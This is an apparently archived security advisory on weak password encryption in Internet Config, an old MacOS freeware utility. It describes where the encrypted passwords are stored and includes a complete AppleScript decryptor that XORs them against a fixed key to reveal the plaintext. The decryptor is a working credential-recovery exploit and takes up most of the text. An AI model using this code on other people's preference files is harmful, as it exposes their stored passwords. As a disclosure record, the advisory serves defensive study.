source: https://www.securityfocus.com/bid/546/info Internet Config is a third-party freeware utility for MacOS. It provides a means of centralizing frequently-required connection information, including passwords, for use by several programs. The passwords are stored in encrypted form in the Internet Preferences file in the Preferences folder. The encryption algorithm used is weak and easily broken. Find an encrypted password in the Internet Preferences file in the Preferences folder using a resource editor like ResEdit. Discard the first byte as it is merely the length of the password. AppleScript exploit by Dawid adix Adamski: (* IC Pass 2.1 by adix 21.07.99; Apple Script English *) set hex1 to text returned of (display dialog "Enter encrypted password:" default answer "" buttons {" Ok "} default button " Ok ") set Alicia to "01010110010101110101100001011001010110100101101101011100010111010101111001011111" set pass to "" set i to 1 set skok to 0 set ile to count items in hex1 if ile = 1 or ile = 0 then set pass to "" else repeat until (i > (ile - 1)) set kodascii to 0 set zn to items (i) thru (i + 1) in hex1 set lbin to hex2bin(zn) as string repeat with a from 1 to 8 set bit2 to item (a + skok) of Alicia set bit1 to item a of lbin if (bit1 = bit2) then set bitk to "0" else set bitk to "1" end if set kodascii to {kodascii + bitk * (2 ^ (8 - a))} end repeat set pass to {pass & (ASCII character kodascii)} set skok to skok + 8 set i to i + 2 end repeat end if display dialog "Password: " & pass & return & return & "by adix" buttons {" Ok "} default button " Ok " on hex2bin(zn) set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110", "0111", "1000", "1001", "1010", "1011", "1100", "1101", "1110", "1111"} set t2hex to "0123456789ABCDEF" set bin to "" as string repeat with j in zn set t1 to j as string repeat with i from 1 to (count items in t2hex) if ((item i in t2hex) = t1) then set temp to (item i in temphex) exit repeat end if end repeat set bin to {bin & temp} as string end repeat return (bin) end hex2bin